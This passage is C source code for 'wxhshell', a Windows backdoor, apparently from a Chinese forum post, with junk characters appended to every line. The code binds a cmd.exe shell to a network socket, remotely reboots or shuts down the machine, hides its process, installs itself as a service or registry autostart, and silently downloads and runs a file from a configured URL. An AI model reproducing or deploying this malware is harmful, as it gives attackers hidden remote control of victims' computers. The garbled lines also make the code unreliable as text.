      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m0x J05Zx  
    break; >G-8FL  
  } mHK@(D7X  
  // 安装 #/n|@z'  
  case 'i': { cS"f  
    if(Install()) iXUWIgr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^f^-.X  
    else KAj"p9hq+k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Hz~HoNU  
    break; ? -v  
    } ,h%D4EVx  
  // 卸载 '2Q.~6   
  case 'r': { J<b3"wK0[  
    if(Uninstall()) RL7C YB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =F'l's^j  
    else f nLR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + >T7Q`64  
    break; vh9kwJyT  
    } b{~fVil$y  
  // 显示 wxhshell 所在路径 %+AS0 JhB  
  case 'p': { 7>nhIp))  
    char svExeFile[MAX_PATH]; +8LM~voB  
    strcpy(svExeFile,"\n\r"); ,~?A,9?%:  
      strcat(svExeFile,ExeFile); J- t=1  
        send(wsh,svExeFile,strlen(svExeFile),0); eVqM=%Q  
    break; JDC=J(B  
    } nwa\Lrh  
  // 重启 ;yk9(wea}"  
  case 'b': { @wd!&%yzO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E/"YId `A  
    if(Boot(REBOOT)) ~pHJ0g:t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h|J;6Sm@  
    else { ]4Nvh\/P9  
    closesocket(wsh); ?8Hn {3X  
    ExitThread(0); ]%gp?9wy  
    } gIV3n#-{L  
    break; D+| K%_Qq  
    } HBt|}uZ?6i  
  // 关机 G"G{AS  
  case 'd': { SL[rn<x|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :wQC_;  
    if(Boot(SHUTDOWN)) ??%)|nj.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>/<6 Wd  
    else { IY];Ss&i  
    closesocket(wsh); bin6i2b  
    ExitThread(0); ]*bAF^8i  
    } X HWh'G9  
    break; J|n(dVen/  
    } Jn@Z8%B@Z  
  // 获取shell .yZK.[x4  
  case 's': { l\K%  
    CmdShell(wsh); Cr' ! "F  
    closesocket(wsh); kR<xtHW  
    ExitThread(0); +:Lk^Ny  
    break; NzjMk4t  
  } lr9=OlH  
  // 退出 ?wGiog<Q{  
  case 'x': { JaH* rDs-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xCR; K]!  
    CloseIt(wsh); p G)9=X!9  
    break; P#AAOSlLV  
    } "V:   
  // 离开 v*&Uk '4E  
  case 'q': { Vh 2Bz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hmc\|IF`  
    closesocket(wsh); 1Z\(:ab13  
    WSACleanup(); 5gO /-Zj  
    exit(1); %l Q[dXp  
    break; J$1j-\KS  
        } N YCj; ,V  
  } 5){tBK|  
  } zx ct(  
q]F4Lq(  
  // 提示信息 EYA/CI   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q!ee g  
} MzG5u<D  
  } 1v;'d1Hg;  
$8jaapNm@  
  return; d/l,C4p  
} 6,B-:{{e"  
?lF mXZy`  
// shell模块句柄 \|v`l{  
int CmdShell(SOCKET sock) V@B7 P{gH  
{ MKomq  
STARTUPINFO si; BqQ] x'AF  
ZeroMemory(&si,sizeof(si)); ||R0U@F,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /rqqC(1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qpoquWZ  
PROCESS_INFORMATION ProcessInfo; - o4@#p>>  
char cmdline[]="cmd"; \^Ep>Pq`]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9X!ET!  
  return 0; h8em\<;  
} [.{^"<Z<  
a@Mq J=<L  
// 自身启动模式 B,4q>KQA  
int StartFromService(void) b2G2c L-(  
{ g4Y) Bz  
typedef struct IDj_l+?c  
{ p`\3if'  
  DWORD ExitStatus; cvhlRI%6  
  DWORD PebBaseAddress; _8al  
  DWORD AffinityMask; +-U@0&Y3M  
  DWORD BasePriority; pQqbZ3]  
  ULONG UniqueProcessId; xtOx|FkYcl  
  ULONG InheritedFromUniqueProcessId; n;%y  
}   PROCESS_BASIC_INFORMATION; 6*sw,sU[y  
q1H~ |1  
PROCNTQSIP NtQueryInformationProcess; 9t#P~>:jY}  
t @;WgIp(&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7LG+$LEz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %Nl`~Kz9U  
AU/#b(mI  
  HANDLE             hProcess; itw{;j   
  PROCESS_BASIC_INFORMATION pbi; `Uv)Sf{  
DTPay1]6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8}bZ [  
  if(NULL == hInst ) return 0;  -H`\? R  
]\7lbLv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9MT? .q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JfbKf~g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L1rwIOgq^  
&&&9  
  if (!NtQueryInformationProcess) return 0; z* RSMfRW  
>jv\Qh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MvBD@`&7  
  if(!hProcess) return 0; F,Q?s9s  
R'L?Xn}3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {H+?z<BF<  
J,RDTXqn  
  CloseHandle(hProcess); !I~C0u  
n3'dLJH|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lw s(/a*c  
if(hProcess==NULL) return 0; {$0&R$v3  
!Qcir&]C>  
HMODULE hMod; ]Dh1~k.Kp  
char procName[255]; te)n{K",  
unsigned long cbNeeded; 8`*`nQhWa  
\2j|=S6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wra byRjK  
ka#K [qI  
  CloseHandle(hProcess); t}VwVf<K  
6%E~p0)i%  
if(strstr(procName,"services")) return 1; // 以服务启动 nx B32  
c8<xFvYG  
  return 0; // 注册表启动 *!Y- !  
} b_|u<  
F;pQ\Y  
// 主模块 zFywC-my@  
int StartWxhshell(LPSTR lpCmdLine) jQ?LHUE  
{ @ ICb Kg:  
  SOCKET wsl; 7lR<@$q  
BOOL val=TRUE; Ew]<jF|.#  
  int port=0; c yP,[?N  
  struct sockaddr_in door; H'Ln P>@n#  
8bt53ta  
  if(wscfg.ws_autoins) Install(); ;T>+,  
&L%Jy #=  
port=atoi(lpCmdLine); U;p e:  
1M+oTIN  
if(port<=0) port=wscfg.ws_port; N 'i,>  
-6`;},Yr  
  WSADATA data; a8zZgIV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nkRK +~>  
E?cZ bn*>`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lVoik *,B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ETO$9}x[  
  door.sin_family = AF_INET; @(>XOj?+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [zQ WyDu  
  door.sin_port = htons(port); T9?54r  
3 z=\ .R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v,jhE9_O0  
closesocket(wsl); =U"dPLax  
return 1; f`?0WJ(M  
} #uKWuGz]  
H2U:@.o2&  
  if(listen(wsl,2) == INVALID_SOCKET) { 3$_*N(e  
closesocket(wsl); Z(; AyTXA  
return 1; ;Xu22f Kh  
} ?}8IQxU  
  Wxhshell(wsl); # $~ oe"  
  WSACleanup(); cIb4-TeV  
M|8 3HTJ  
return 0; W Y:s gG  
('4wXD]C  
} h55>{)(E  
MwAJ(  
// 以NT服务方式启动 JDA]t&D!v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y\( ;!o0a  
{ ezn` _x_?  
DWORD   status = 0; $P nLG]X  
  DWORD   specificError = 0xfffffff; 2+:'0Krc  
,{8v4b-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OKAkl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [;^,CD|P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =|,A%ZGF$  
  serviceStatus.dwWin32ExitCode     = 0; =cn~BnowY  
  serviceStatus.dwServiceSpecificExitCode = 0; ?Ht=[l=  
  serviceStatus.dwCheckPoint       = 0; )Gb,^NGr  
  serviceStatus.dwWaitHint       = 0; 7@l<? (  
="'- &  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DP*@dFU"  
  if (hServiceStatusHandle==0) return; O%g\B8 ;  
[zh"x#AyI  
status = GetLastError();  %w5[*V  
  if (status!=NO_ERROR) J +q|$K6  
{ Qqq <e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mmP U  
    serviceStatus.dwCheckPoint       = 0; L/i(KF{  
    serviceStatus.dwWaitHint       = 0; ARWZ; GX  
    serviceStatus.dwWin32ExitCode     = status; * t!r@k  
    serviceStatus.dwServiceSpecificExitCode = specificError; vv+J0f^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,{KCY[}|  
    return; d!V$Y}n  
  } j?-R]^-5  
7&+Ys  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @G*.1;jO  
  serviceStatus.dwCheckPoint       = 0; MhxDV d  
  serviceStatus.dwWaitHint       = 0; c AEokP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )yj:PY]  
} qyyq&  
Q9slfQ  
// 处理NT服务事件,比如:启动、停止  g_q<ze  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cp%ii'  
{ ;GOz>pg  
switch(fdwControl) NY!jwb@%  
{ fu]N""~  
case SERVICE_CONTROL_STOP: ipjkZG@  
  serviceStatus.dwWin32ExitCode = 0; 3Aj*\e0t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o`6|ba  
  serviceStatus.dwCheckPoint   = 0; }l;Lxb2`  
  serviceStatus.dwWaitHint     = 0; ~pz FZ7n4  
  { tsv$r$Se  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lgi[u"Du  
  } _~M^ uW^l  
  return; +S9PML){h  
case SERVICE_CONTROL_PAUSE: 8omC%a}9m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2"&)W dm  
  break; j@| `f((4  
case SERVICE_CONTROL_CONTINUE: dR+1aY;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M_|> kp  
  break; !w2gGy:I>  
case SERVICE_CONTROL_INTERROGATE: f/y`  
  break; Yc;ec9~  
}; n7l%gA*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >]?H`>4(  
} *e/K:k  
T3pdx~66  
// 标准应用程序主函数 |B^G:7c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vmi{X b]<  
{ ~uj;qq  
YRcps0Dx9  
// 获取操作系统版本 L*]0"E  
OsIsNt=GetOsVer(); Xy7Z38G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vAi$ [p*im  
*>."V5{;S  
  // 从命令行安装 ax|1b`XUr"  
  if(strpbrk(lpCmdLine,"iI")) Install(); k;Fh4Hv  
Zj VWxQ  
  // 下载执行文件 L1 #Ij#  
if(wscfg.ws_downexe) { bx}fj#J]En  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p#@Z$gTH`'  
  WinExec(wscfg.ws_filenam,SW_HIDE); )/|6'L-2  
} shgAhx  
`xz&Scil  
if(!OsIsNt) { yL1CZ_  
// 如果时win9x,隐藏进程并且设置为注册表启动 2]WE({P  
HideProc(); mT.e>/pa  
StartWxhshell(lpCmdLine); ,pt%) c  
} 8;"*6vHZ  
else (^n*Am;zlH  
  if(StartFromService()) Q@QFV~  
  // 以服务方式启动 s;1h-Oq (  
  StartServiceCtrlDispatcher(DispatchTable); :&w{\-0{  
else -<f;l _(  
  // 普通方式启动 Q+$Tt7/  
  StartWxhshell(lpCmdLine); +j[oEI`e  
ga0'zo9K  
return 0; Ph,- sR  
}
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只看该作者 1 发表于: 2006-10-10
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